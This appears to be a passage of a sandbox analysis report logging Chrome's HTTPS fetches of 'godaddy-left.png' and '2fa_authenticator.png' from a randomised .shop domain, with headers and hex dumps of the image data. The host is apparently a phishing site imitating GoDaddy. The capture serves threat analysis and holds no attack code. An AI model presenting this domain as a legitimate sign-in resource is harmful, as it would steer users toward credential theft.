2024-05-27 17:30:45 UTC	513	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 14 e9 49 44 41 54 78 9c ed 9d 79 7c 1c c5 95 c7 df ab 92 2c d9 c8 86 24 48 21 24 f6 8c 15 d6 49 80 64 21 e6 93 25 8b 46 d5 ad 03 47 e0 e5 8c 30 21 2c a7 31 f7 0d 81 10 20 90 70 84 db 1c 31 04 58 43 20 24 9b d8 e6 5a 83 60 65 cf 74 79 ec 05 92 75 58 ae 04 96 c4 d6 88 b0 18 db 24 06 e4 03 cd Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATxy\|,$H!$Id!%FG0!,1 p1XC $Z`etyuX$
2024-05-27 17:30:45 UTC	1369	IN	Data Raw: 21 e2 dd 00 70 a9 94 72 20 86 f0 aa 16 c3 30 ce 25 a2 db 46 11 d5 30 15 17 57 c5 e6 58 a6 69 ce b3 6d 7b 59 10 51 01 00 30 c6 18 22 9e 89 88 af 98 a6 d9 16 75 7c d5 8a 10 e2 7c 00 98 ef 21 2a 20 a2 cf 10 d1 7e 31 86 f5 09 2a b2 2a 14 42 9c 07 00 77 21 62 29 fe 77 21 a2 63 a7 4f 9f fe 51 5f 5f df aa b0 63 ab 66 4c d3 bc 00 00 6e f5 b2 21 22 42 c4 b3 2d cb ba 37 a6 b0 46 25 f6 9f 42 d3 34 cf 21 a2 db 43 ea ee 7e 22 3a 5d 4a 59 08 a9 bf aa 45 08 71 31 22 de e8 65 33 42 54 3f 8d 2b 2e 37 62 15 96 10 62 2e 00 dc eb 35 8c 97 c0 d2 89 13 27 7e bb a7 a7 e7 a3 10 fb ac 2a 84 10 17 21 e2 4d 5e 36 44 44 00 70 ae 94 f2 ce 98 c2 f2 24 36 61 99 a6 39 4f 29 75 4f 00 51 ad 23 a2 d5 00 30 03 11 ff 21 60 f7 8f 37 36 36 ce 59 b4 68 d1 60 99 61 7a 22 84 e8 1e f9 6f c6 18 02 Data Ascii: !pr 0%F0WXim{YQ0"u\|\|!* ~1*Bw!b)w!cOQ__cfLn!"B-7F%B4!C~":]JYEq1"e3BT?+.7bb.5'~!M^6DDp$6a9O)uOQ#0!`766Yh`az"o
2024-05-27 17:30:45 UTC	1369	IN	Data Raw: 65 87 88 d7 af 5c b9 f2 6f 51 c4 30 12 e7 56 f7 bf 01 c0 f1 01 cc ef c9 66 b3 67 c1 38 14 15 40 88 c2 52 4a 6d 76 9b 63 79 ac 16 4b 46 08 b1 0b 22 a6 01 c0 33 7b 81 88 9e 6b 6a 6a ba 39 6c ff db d3 dd dd cd 37 6c d8 f0 00 22 fe ab 9f ad 6d db f7 66 b3 d9 33 60 9c 8a 0a 20 dc 7d ac 8d 6e 0d 44 f4 f9 10 fd c0 fe fb ef 3f 11 00 9e 04 7f 51 bd c9 39 3f 7c d1 a2 45 9e 59 a7 e5 82 88 7c c3 86 0d 0f 00 40 10 51 2d cc 66 b3 a7 c3 38 16 15 40 88 c2 92 52 6e 52 4a 7d 30 aa 13 c6 a6 08 21 76 09 c3 4f 77 77 37 af ab ab 5b 84 88 29 2f 3b a5 54 bf 52 aa 3d ec 43 6f 17 e6 43 70 51 9d 02 11 de 24 aa 16 42 3d d2 61 8c 79 6d 82 86 92 5d b0 71 e3 c6 0b 11 f1 60 2f 1b 22 ca 21 62 7b 36 9b 7d 2b 0c 9f 01 d8 3b 80 cd 03 3b 8a a8 00 c2 3f 2b 7c c3 a3 d9 2b f9 2f 10 a9 54 6a 2a Data Ascii: e\oQ0Vfg8@RJmvcyKF"3{kjj9l7l"mf3` }nD?Q9?\|EY\|@Q-f8@RnRJ}0!vOww7[)/;TR=CoCpQ$B=aym]q`/"!b{6}+;;?+\|+/Tj*
2024-05-27 17:30:45 UTC	1369	IN	Data Raw: c0 52 ce f9 af 96 2f 5f be 26 4c bf 95 a2 92 c2 aa 21 a2 55 8c b1 6f b8 d9 10 d1 8b 93 27 4f 6e 59 ba 74 e9 96 30 7c 16 21 ae 5f 10 d1 89 52 ca 42 b9 3e 9d 9a 59 e7 03 c0 65 88 e8 75 d3 08 9c 34 a3 85 30 f4 c2 97 6b f5 9e b1 40 c5 52 5c a5 94 05 ce f9 31 44 f4 a1 9b 0d 22 ee 3b 30 30 f0 20 84 f4 07 50 c4 cf e2 b1 88 f8 ab 72 93 05 5b 5a 5a 1a 37 6c d8 60 21 e2 4d 7e a2 02 00 40 c4 5a 44 3c 15 00 7e db da da fa d5 72 7c 57 9a 8a 26 c2 f5 f5 f5 fd 2d 99 4c be 85 88 5e f7 0d f7 9a 3e 7d ba ea eb eb 93 61 f8 ec ef ef 1f 98 3a 75 ea a3 01 f6 b9 f6 dc bc 79 f3 d7 93 c9 e4 a3 b9 5c ae e8 91 ab a3 a3 63 1a 11 65 10 f1 eb c5 7e d6 11 e1 b1 c9 64 f2 b9 5c 2e d7 57 ec e7 ab 81 8a 67 58 e6 72 b9 97 93 c9 64 02 3c aa d1 10 91 d1 dc dc fc 4a 5f 5f df 1f c3 f0 19 54 5c Data Ascii: R/_&L!Uo'OnYt0\|!_RB>Yeu40k@R\1D";00 Pr[ZZ7l`!M~@ZD<~r\|W&-L^>}a:uy\ce~d\.WgXrd<J__T\
2024-05-27 17:30:45 UTC	913	IN	Data Raw: b0 00 86 e6 1e 52 ca b3 88 68 9e 52 6a 30 c0 47 66 17 0a 85 97 4d d3 3c 24 f2 e0 22 c0 99 c4 7b 65 41 b8 ce c1 e2 64 cc 0b 6b 18 29 e5 7d 88 d8 4e 44 be af 62 31 c6 9a 88 e8 09 c3 30 ee 2d f5 09 96 0a 72 11 63 6c d4 9f 3b 22 fa 68 c2 84 09 6b e3 0e 68 34 c6 8d b0 00 00 a4 94 2b 39 e7 33 89 e8 77 01 3f 72 4a 3e 9f ff b3 61 18 e7 c2 18 f8 bf 10 42 9c 48 44 5e 25 2f ad de de de cd b1 05 e4 41 d5 ff 67 16 4b 3a 9d 7e 7b f2 e4 c9 06 11 3d 12 c4 de 79 03 71 be 61 18 ab 4c d3 fc c4 73 78 d5 82 23 aa fb bd 8e 76 18 63 bf 8c 33 26 2f c6 f4 0a c9 0f d3 34 8f 73 26 f6 81 d2 6a 94 52 8a 31 f6 48 6d 6d ed 45 d5 f4 52 ab 61 18 c7 2b a5 16 fa 9c 17 be 01 00 7b 87 71 c9 36 0c c6 b5 b0 00 fe 7e 0c f4 cb 62 de a4 26 a2 f7 19 63 b7 d6 d7 d7 cf ef e9 e9 f9 20 c2 f0 7c 31 4d Data Ascii: RhRj0GfM<$"{eAdk)}NDb10-rcl;"hkh4+93w?rJ>aBHD^%/AgK:~{=yqaLsx#vc3&/4s&jR1HmmERa+{q6~b&c \|1M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	55958	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:45 UTC	382	OUT	GET /static/media/2fa_authenticator.png HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:45 UTC	869	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:45 GMT Content-Type: image/png Content-Length: 3568 Connection: close Content-Disposition: inline; filename="2fa_authenticator.png" Last-Modified: Sat, 04 Nov 2023 15:30:53 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kuB%2BHhwoT1svtZ2unVm8mS3idjn%2BJynvTfz0Xh53xUYbOqv8uqKiv3pVb8afrUo15FcBIFyC4v%2BcwklGK%2Bx5oS0i6jBY%2Bd3VA%2FAWUBW2h3C2iAECxtyWvuim7EF7Bih2tRWxzQ0zMrMlqOI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc0fda131a1f-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:45 UTC	500	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 0d 3c 49 44 41 54 78 9c ed 9d 79 90 1e 55 11 c0 7f bb d9 24 64 93 60 38 12 92 70 06 13 20 5c 09 72 a8 80 45 04 91 84 a3 38 3c b0 40 39 0a e5 50 8b 43 a4 10 4b 14 05 21 55 80 22 a5 96 94 a5 c6 40 21 96 72 49 09 18 44 02 48 01 06 a8 04 42 4e ee 04 72 00 c9 e6 3e 77 e3 1f bd 6b d6 b0 df cc 7c Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-<IDATxyU$d`8p \rE8<@9PCK!U"@!rIDHBNr>wk\|
2024-05-27 17:30:45 UTC	1369	IN	Data Raw: 06 ec 6f be 6f 59 0d 1c ab e4 b3 8a 14 c6 03 eb b1 bf e9 a1 64 0d 55 48 c2 3b c7 23 9b bf d6 37 db 62 e6 fa 8c 82 ff 2a 7a 60 2c f2 f4 5a df 64 2b 59 86 2c 56 2a 14 d9 11 49 4b b1 be b9 d6 32 1b bd 2c 8c 86 a7 17 92 7e 62 7d 53 63 91 07 a8 36 b1 55 f8 11 f6 37 33 36 b9 dc c9 a3 01 88 7d e4 1f 0c 4c 43 32 15 42 b3 08 09 be be 0d 2c 41 c2 1b cd c0 76 c0 2e 48 86 e9 68 e4 67 3a 34 6b 81 31 48 f6 6a 45 9d b4 00 2f 12 6e 16 58 0d fc 05 f8 2a d9 a3 de 4d c0 7e c0 c5 c0 3f 80 8d 01 f5 9d 4a 95 76 93 8b ab 08 73 83 66 03 df 44 e7 a5 78 28 92 2d ba 28 90 ee 17 29 e8 dc 50 ec 80 2c af 7d de 94 05 48 b2 5d 2f 0f fa b7 02 57 03 6d 9e 6d 58 4c b5 61 5d 17 13 f1 77 33 3a 80 db 81 81 01 ec 18 8e e4 5a f9 1c 5c d7 06 b0 a3 14 0c c3 5f 20 f4 03 e0 c4 70 a6 fc 8f 73 f0 67 Data Ascii: ooYdUH;#7bz`,Zd+Y,VIK2,~b}Sc6U736}LC2B,Av.Hhg:4k1HjE/nX*M~?JvsfDx(-()P,}H]/WmmXLa]w3:Z\_ psg
2024-05-27 17:30:45 UTC	1369	IN	Data Raw: 4e b7 56 a2 06 b1 57 d7 7b cf e5 e2 b2 0f 2c 90 ba 0a b1 f5 d7 39 0e 18 63 ad 44 0a ef b8 5c ec fa 8e 95 3b e4 1f 90 b1 c0 49 d6 4a 6c c3 b5 d6 0a 64 e0 5d cb 2f 9f 85 7d 0a 6d 16 99 4f 3c 69 3e 67 62 ef 8f 2c f2 05 17 23 5d 8b cc cf 72 bc 3e 14 23 91 9a e7 d6 0c 46 8a 90 14 81 39 96 5f 7e 3d f6 4f 56 56 69 47 56 89 56 34 03 8f f6 a0 57 8c b2 09 e3 fa 0d 9a 2d 77 43 c8 0a e0 10 2f 9e 48 e7 b6 8c 3a c6 20 a6 b3 15 48 5f 3c 6b 27 d4 2b 8b 80 83 7c 38 a3 06 4d c0 4d 1e ec f0 29 0f 78 f1 44 1d b4 20 e5 15 ad 1d 51 af 2c 43 4a 5b fa a6 2f 7a 9d 53 43 4a 14 75 64 9f c2 de 11 79 64 33 b2 ec f7 d5 b3 71 14 f0 42 04 76 e6 91 e3 3d f8 a3 6e 6e c6 de 11 2e 32 1d 29 ed a8 45 2b 70 1d c5 ac 72 b8 05 d9 1f 8c 22 dd e8 8b d8 3b 43 43 1e 43 56 8d 79 b3 3a 87 00 d7 20 85 Data Ascii: NVW{,9cD\;IJld]/}mO<i>gb,#]r>#F9_~=OVViGVV4W-wC/H: H_<k'+\|8MM)xD Q,CJ[/zSCJudyd3qBv=nn.2)E+pr";CCCVy:
2024-05-27 17:30:45 UTC	330	IN	Data Raw: 06 53 06 2e 24 39 4a bf 05 79 e9 bf 0e db 17 fb f1 24 67 7c 76 c9 bf 48 6e c0 59 11 90 a3 c9 56 34 63 06 92 b5 1a 92 1d c8 56 bb a2 03 a9 f7 55 9d a1 8c 8c 5d 91 d6 25 69 37 70 23 f2 ee b5 93 67 7d fa 20 15 89 97 66 d0 e9 43 e0 24 cf fa 54 38 d0 82 ec b1 65 29 6f bd 0a 99 21 b4 d3 78 9b 81 2f 91 bd 24 f9 c3 48 a3 a7 8a 02 70 20 12 cf ca 72 63 db 90 1c f2 53 70 fb 19 3a 00 79 8f 7b b3 8e ef bd d0 e1 fb 2a 8c e8 0d fc 98 f4 17 fb ee b2 00 59 69 5e 0e 1c 85 a4 e6 f4 54 f3 60 47 e4 5d ed 12 a4 3a 74 bd 2d 4c 1e 42 e2 58 15 05 e6 50 e0 15 ea bb f1 db ca 72 e0 0d 24 f6 e4 52 87 7d 19 d2 4b a7 a2 24 f4 05 ae 45 8e 93 b9 0c b0 bc d2 8e fc dc 0e f3 6d 68 85 0d bb 21 4b ff 0d 84 19 50 1d c8 cf 5e 43 54 7b a9 90 fe 81 13 91 33 8b 3e 06 d4 2a a4 07 e0 98 50 06 55 c4 Data Ascii: S.$9Jy$g\|vHnYV4cVU]%i7p#g} fC$T8e)o!x/$Hp rcSp:y{Yi^T`G]:t-LBXPr$R}K$Emh!KP^CT{3>PU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.16	55960	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:45 UTC	377	OUT	GET /static/media/godaddy-left.png HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:45 UTC	857	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:45 GMT Content-Type: image/png Content-Length: 29796 Connection: close Content-Disposition: inline; filename="godaddy-left.png" Last-Modified: Mon, 27 Nov 2023 04:08:52 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6Kl%2Bqlcu0pqUNpBcEbgV%2FR7nI4cxecfap1JxS0zsqgM05GAjZkIbeTLRyBXeaeD6wyuhb17dnDR7maN77Pxq9XnVpn2E7gcoEqTdQOM6obcEb70gaL7OFF7YVQLLbWmvXLgkgCrQhHW16y4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc10aa71425e-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:45 UTC	512	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 fa 00 00 01 2f 08 06 00 00 00 ad e6 03 d5 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 20 00 49 44 41 54 78 5e ec 5d 07 58 53 49 17 3d 88 20 4d b0 80 14 11 54 b0 60 03 b1 8b 58 10 c5 de c5 82 bd ae 7d 7f 5d fb ae 7d ed ab ae ae ae 65 d7 ae 6b ef 1d 7b af 28 2a 56 ec a2 a0 82 82 60 a1 f8 fe 6f 26 10 13 29 69 2f c9 cb cb cc f7 c5 48 32 73 e7 de 73 ef 9b 93 79 6f e6 8e 09 58 61 08 30 04 18 02 0c 01 86 00 43 40 b4 08 98 88 d6 32 66 18 43 80 21 c0 10 60 08 30 04 18 02 60 44 cf 82 80 21 c0 10 60 08 30 04 18 02 22 46 80 11 bd 88 9d cb 4c 63 08 30 04 18 02 0c 01 86 00 23 7a 03 8b 81 b0 1b e1 dc a1 83 07 10 15 15 85 d7 af 5e e1 d5 ab 57 f8 f6 ed 1b 0a 17 76 45 61 d7 c2 28 52 c4 0d d5 ab 57 87 6f a5 4a c8 6b Data Ascii: PNGIHDR/sRGB IDATx^]XSI= MT`X}]}ek{(*V`o&)i/H2ssyoXa0C@2fC!`0`D!`0"FLc0#z^WvEa(RWoJk
2024-05-27 17:30:45 UTC	1369	IN	Data Raw: f9 5d 21 82 ac 02 43 80 21 c0 10 10 07 02 6c c0 17 a0 1f 57 ad 59 c3 cd 9d 3d 5b aa 99 4b 11 77 74 e8 de 17 76 f9 0a a8 ac 6d 44 f8 35 ec d8 b8 06 69 69 92 bb 02 d5 aa 57 c7 9f 0b 17 b1 85 7a 2a 23 c9 1a 30 04 18 02 0c 01 c3 44 80 11 bd c0 fc 46 56 d5 77 0d e9 2c d5 aa 54 99 f2 08 ee de 17 a6 a6 b9 d5 d6 f4 e5 f3 a7 58 bf 7c 11 be 7c f9 4c 65 74 ef d1 03 a3 46 8e 64 be 57 1b 51 d6 90 21 c0 10 60 08 18 0e 02 6c b0 e7 c1 57 67 ce 9e e3 7e 9f 36 15 2f 5e bc e0 41 da 77 11 ae 6e 45 d1 7d c0 ff 60 66 66 a6 b1 dc 53 a1 07 70 e2 f0 3e a9 9c 21 43 87 22 29 29 09 4f 9f 3e 45 fc 87 0f 39 ca cf 97 2f 3f 8a 16 2b 86 62 c5 8a a1 48 91 22 70 2d 52 04 4e 85 1c 58 ec 68 ec 15 26 80 21 c0 10 60 08 68 1f 01 36 58 f3 80 f1 b0 9f 7f e6 8e 86 86 f2 20 e9 bb 08 33 33 73 0c 1d Data Ascii: ]!C!lWY=[KwtvmD5iiWz*#0DFVw,TX\|\|LetFdWQ!`lWg~6/^AwnE}`ffSp>!C"))O>E9/?+bH"p-RNXh&!`h6X 33s
2024-05-27 17:30:45 UTC	1369	IN	Data Raw: 1a 61 97 21 6f e3 a6 4d dc ef 53 a7 d2 3f db b4 69 03 32 c3 61 85 21 60 4c 08 04 05 05 21 2a 2a 8a 9a bc 65 db 36 94 f5 f2 e2 e5 da 32 26 0c c5 68 2b 0b 02 35 bc 7a e9 f2 15 ae 57 cf 1e b4 65 fe 02 05 b0 67 ef 3e 14 c8 67 a7 11 96 3f 0d 18 c0 9d 39 7d 9a ca ec d2 77 30 3c 4b 95 91 6a b6 7d e3 2a dc 0a bb 22 fd 9b 2c d4 23 24 5f d0 c1 51 0d ed f5 db 84 90 3d 49 e0 f3 ed db 37 aa 88 b5 b5 35 5d 29 ac ee 6e 05 59 6b 64 17 e1 0d 1c 38 10 e4 c5 0a 43 c0 98 10 e8 d9 b3 27 ae 5c 91 8c 15 4b 97 2d 87 7f 2d 3f 8d c6 25 63 c2 4e cc b6 b2 20 50 c3 bb 33 67 ce e2 d6 ad 93 9c 2c 17 dc a1 23 26 4e f8 4d 63 1c 97 2e 5b c6 2d 5a b8 90 ca ac 59 27 10 0d 9b b7 c1 97 2f 5f b0 7c fe 0c b9 a4 37 e4 73 f2 bd 21 97 07 77 6e 61 d7 e6 75 72 cf ee 27 4e 9a 84 60 0d ef 8a 30 a2 37 Data Ascii: a!oMS?i2a!`L!*e62&h+5zWeg>g?9}w0<Kj}",#$_Q=I75])nYkd8C'\K--?%cN P3g,#&NMc.[-ZY'/_\|7s!wnaur'N`07
2024-05-27 17:30:45 UTC	1369	IN	Data Raw: 18 3b 6e 2c ca 97 2d a3 16 be 7c 13 7d 25 07 7b 74 f4 f0 40 e9 fc f9 70 29 e6 0d 96 df bd 87 37 9f 3f cb b9 a5 74 be 7c e8 5e aa 24 bc f2 e7 c3 e5 37 6f b1 f5 d1 63 3c 94 59 25 4d 2a d7 71 71 46 67 4f 4f 14 b1 b1 c6 d1 97 51 58 12 71 07 5f d2 d2 8c c5 bd cc 4e 0d 11 60 44 af 21 80 ac 39 d4 1a 50 8d 09 b7 df a7 4f e7 36 6e d8 40 4d ee d2 b5 1b c6 8e 19 cd 0b 66 59 cd e6 3f 26 c4 e3 f0 9e 6d b8 7d e3 1a 7e 1e 37 d5 28 9e d5 47 84 5f c3 d9 13 a1 78 9d 9e 06 b7 51 e3 c6 f8 63 ee 5c b5 30 e6 93 e8 ed 2d 2c 30 a9 72 25 34 73 97 fc f8 22 65 f7 d3 a7 98 7d e3 26 a2 92 92 e8 df e5 0b 14 c0 af be 15 51 cd b1 90 b4 ce da 07 0f 31 e1 8a e4 ee 0f 29 25 ed ec f0 6b 25 5f d4 76 76 92 7e b6 f2 de 7d 4c b9 16 26 fd db df d9 09 fe 4e 4e 70 b0 b4 14 dc a5 15 fb e5 0b 8e 45 Data Ascii: ;n,-\|}%{t@p)7?t\|^$7oc<Y%M*qqFgOOQXq_N`D!9PO6n@MfY?&m}~7(G_xQc\0-,0r%4s"e}&Q1)%k%_vv~}L&NNpE
2024-05-27 17:30:45 UTC	1369	IN	Data Raw: 19 a5 68 11 5b f4 0a 2e 8f 56 8d b2 ff f1 92 6a e9 87 3c f9 fd 34 c6 98 11 bd 10 af 26 a6 93 a6 08 30 a2 d7 14 41 d6 5e e3 c1 55 6c 10 3e 79 fa 8c 6b d6 b4 09 35 cb c4 c4 84 66 c2 2b e1 51 9c 17 9c 82 82 82 b8 97 2f 5f 52 d9 05 1d 1c 11 fb 36 86 e6 b6 6f d6 b6 13 ec f2 e5 97 42 99 92 92 8c 13 87 f6 e1 fc a9 a3 74 cb 5d db 10 49 66 3e a1 96 47 f7 ef d2 59 fc 93 48 f9 95 e4 3d da 97 a5 b7 ea f3 db 59 e4 a8 fa 37 33 37 98 39 74 d4 18 63 46 f4 42 8d 10 a6 97 26 08 30 a2 d7 04 3d d6 96 72 19 83 41 1e 81 7f 57 ae e2 e6 fd 31 97 7e d8 30 28 08 f3 e7 cd e3 05 a3 9b b7 23 b8 4e e9 ab f8 89 6c 5b bb 7c 68 d2 ba 03 4a 97 f3 96 53 e0 e1 dd db d8 b7 7d 13 e2 3f c4 a1 aa 5f 1d d4 6f d2 12 79 f2 e4 4c 94 fa f2 61 c2 87 f7 94 e0 2f 9f 3b 25 a7 42 ed 6a ae e8 d5 a1 1c 7c Data Ascii: h[.Vj<4&0A^Ul>yk5f+Q/_R6oBt]If>GYH=Y7379tcFB&0=rAW1~0(#Nl[\|hJS}?_oyLa/;%Bj\|
2024-05-27 17:30:45 UTC	1369	IN	Data Raw: 5e f5 9f 90 98 8c 5a ad 25 0b 19 8b b8 e4 c5 fe 35 99 cf 72 cf 49 e7 34 f3 32 30 b7 6f a6 11 ee 8c e8 f9 8e 0a 26 4f 08 08 30 a2 17 82 17 0c 5b 07 8d 06 56 c3 36 fd bb f6 f5 ea 05 70 6f de c4 d0 0f 96 af f8 07 7e 35 6b f0 8e 4b 95 2a 55 b8 8c 85 7e 63 7f 9f 07 92 4d ee d0 ee ad 20 ab d9 ab d4 ac 83 fa 8d 5b d0 74 b7 19 25 29 31 91 e6 c0 bf 19 76 19 f6 0e 8e 34 07 7e 91 a2 c5 79 87 3c f9 eb 17 e9 6d fa 8c 1f 22 a4 93 4a e5 1d e9 73 78 ff 6a ca ef e5 af d0 60 0d d5 cf dc cc 14 57 0f 74 51 49 d7 54 0b 5f e4 29 10 a8 11 ee 8c e8 55 82 9c b7 ca 4e 56 96 b0 33 37 47 5e 33 73 e4 ce 65 02 8e 03 d2 38 0e 09 c9 c9 88 4f 4e 46 cc e7 cf bc f5 65 8c 82 18 d1 1b a3 d7 f9 b5 59 a3 81 95 5f 55 f4 23 ed c0 c1 43 dc c8 5f 46 d0 ce bd 7d 7c b0 71 c3 06 ad 60 22 7b eb be a8 Data Ascii: ^Z%5rI420o&O0[V6po~5kK*U~cM [t%)1v4~y<m"Jsxj`WtQIT_)UNV37G^3se8ONFeY_U#C_F}\|q`"{
2024-05-27 17:30:45 UTC	1369	IN	Data Raw: be 10 1e 5b ee 7f f6 1c 6b 1e 3c c0 e5 37 6f 79 94 6a 98 a2 18 d1 1b a6 df 84 a4 b5 c6 83 ab 90 8c 51 45 97 f1 e3 7f e5 76 ed da 49 9b fc 34 60 20 86 0c 1e a4 55 2c 64 49 88 f4 59 a5 66 6d 04 36 69 45 17 e6 65 94 0c 02 bf 78 46 92 03 bf 71 ab 60 e9 2d fe 8c 3a e1 d7 2e d1 e7 f9 e4 56 7f cd 3a 81 99 52 e8 92 7a f7 6e 87 e3 c2 e9 63 78 f6 58 b2 f8 4f b6 1c df 12 0c fb fc fc ec c3 7f ff e1 0b ba 0c 3b 80 17 af 3e d2 2e c8 11 b5 7d 3a c9 af 2d 50 c6 27 5f f2 0d 80 b5 55 5e 8d f1 67 44 af 0c da 99 eb 84 94 f0 44 ef d2 a5 51 dc 56 18 27 24 66 68 78 f7 fd 07 fc 7b ef 1e b6 3d fe fe b8 49 3d 0b 0d bb 15 23 7a c3 f6 9f 10 b4 d7 78 70 15 82 11 aa ea 10 fd e6 2d 17 18 50 0f 64 d6 4b ca 96 ad db 50 b6 8c 97 56 b1 b8 7e 23 9c eb 12 d2 99 f6 67 69 69 85 d1 53 e7 ca a9 Data Ascii: [k<7oyjQEvI4` U,dIYfm6iEexFq`-:.V:RzncxXO;>.}:-P'_U^gDDQV'$fhx{=I=#zxp-PdKPV~#giiS
2024-05-27 17:30:45 UTC	1369	IN	Data Raw: 8c b6 bf df bb 6f 3f 37 66 f4 28 da 4d 95 aa 55 b1 7a d5 2a 9d db bf 6e fd 7a 6e e6 8c 19 54 07 92 e6 b6 45 fb 10 7a 8a dd ed 1b d7 e8 22 3c f2 f7 8f a7 d4 25 c4 7f a0 cf e1 2f 9c 96 64 9f cb 28 01 7e 6e f4 36 7d 05 2f 07 ad 41 47 72 d8 93 67 f3 8d eb 15 43 93 80 62 b0 b2 d4 3c 53 5a aa 65 4d e4 c9 5f 8b 77 ec 19 d1 e7 1c 06 b3 aa 57 45 07 0f f9 ac 8a 5a 0b 1c 2d 0b fe f7 de 7d 4c bd 16 a6 e5 5e 84 21 9e 11 bd 30 fc 60 c8 5a f0 3e d8 0a 19 8c 7e fd fa 73 e7 ce 49 b6 9e 8d 19 3b 0e 5d bb 84 e8 dc fe a7 cf 5f 70 5d 43 42 10 97 7e db dd cc cc 0c 26 b9 72 a1 6e 83 a6 a8 5e 3b 00 b9 72 c9 6f 4f 23 5b e5 c8 6a fa d8 b7 92 63 74 49 29 ea 56 08 bd 82 4b a0 55 90 a7 90 e1 ce 52 37 6d dc b2 cf e8 88 11 7d f6 e1 40 08 9e 10 3d df 25 39 25 05 4f a3 62 f0 fa 4d 1c 3e Data Ascii: o?7f(MUz*nznTEz"<%/d(~n6}/AGrgCb<SZeM_wWEZ-}L^!0`Z>~sI;]_p]CB~&rn^;roO#[jctI)VKUR7m}@=%9%ObM>
2024-05-27 17:30:45 UTC	1369	IN	Data Raw: 5a bb 16 1a 15 91 3f 23 41 d3 eb 2f ee c3 47 1c bf 78 5d 2d 31 c5 8b 38 c3 b7 6c 09 b5 da 2a 6a 44 48 9e 90 bd 18 0b 23 7a 31 7a 55 b7 36 e9 65 40 d6 95 89 57 ae 85 71 3d ba 75 a5 dd b9 bb bb 63 cb b6 ed b0 b1 b2 14 b5 cd b2 d8 92 67 f7 a6 5f 6e c0 f4 eb 2d 98 70 ca af 90 56 cd 3f b9 90 96 a7 3c 52 2d 7c 60 65 ed a8 57 6c 19 d1 7f f7 9c 9d b9 39 0e 37 6d 0c 27 2b 2b d5 dc a9 a0 76 6a 5a 1a 76 85 9e 53 4b 66 f9 52 c5 51 aa 98 ab 5a 6d 15 35 ba f7 e1 03 1a ed 3f a8 a8 9a 41 7e cf 88 de 20 dd 26 28 a5 f5 3a 30 6b 1b 89 09 13 27 72 db b7 6d a3 dd f4 ec d5 1b bf 8c 18 2e 6a 7b b3 c3 33 e9 f3 67 ce 34 f9 1e 4c 93 1f 22 57 ca 53 5e 60 27 47 cc a6 